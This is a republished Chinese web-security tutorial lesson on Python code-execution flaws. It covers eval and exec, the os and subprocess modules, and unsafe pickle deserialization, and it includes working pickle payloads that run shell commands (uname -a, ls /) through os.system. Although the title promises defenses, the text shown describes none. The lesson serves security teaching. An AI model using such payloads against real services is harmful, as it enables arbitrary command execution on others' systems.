風炫安全web安全學習第三十二節課 Python程式碼執行以及程式碼防禦措施
阿新 • • 發佈:2021-01-09
風炫安全web安全學習第三十二節課 Python程式碼執行以及程式碼防禦措施
Python 語言可能發生的命令執行漏洞
- 內建危險函式
eval和exec函式
eval
eval是一個python內建函式,語法為eval(expression, globals=None,locals=None)
eval函式接收三個引數:其中 expression
引數是用做運算的字串型別表示式;globals引數用於指定執行時的全域性名稱空間;Locals引數用於指定執行時的區域性名稱空間。globals與 locals 是可選引數,預設值是 None,他們只在運算時起作用,運算後則銷燬。
exec
在Python2中exec是一個內建語句(statement)而不是一個函式,但是到了Python3中exec將Python2中作為內建語句的exec和execfile()函式功能整合到一起,成為了一個新的函式,語法為exec(object[, globals[,locals]])
exec的第一個引數可以是code object,因此它可以執行復雜的程式碼邏輯,例如變數賦值操作等,這一點是eval做不到的。但exec返回值永遠為 None,因此exec不能像eval一樣將計算結果返回。exec的後兩個引數與eval一致
-
標準庫危險模組
os subprocess
-
反序列化:
pickle和cpickle
pickle.loads
>>> import cPickle >>> cPickle.loads("cos\nsystem\n(S'uname -a'\ntR.") Linux RCM-RSAS-V6-Dev 3.9.0-aurora #4 SMP PREEMPT Fri Jun 7 14:50:52 CST 2013 i686 Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz GenuineIntel GNU/Linux 0
import cPickle import os import urllib class genpoc(object): def __reduce__(self): s = """ls /""" #要執行的命令 return os.system, (s,) #os.system("echo test >poc.txt") e = genpoc() poc = cPickle.dumps(e) print poc print urllib.quote(poc) fp = open("poc.pickle","w") fp.write(poc) # 生成 pickle檔案 ----------------------- import pickle pickle.load(open('./poc.pickle'))
參考:
http://blog.evalshell.com/2020/12/20/風炫安全web安全學習第三十二節課-python程式碼執行以及代/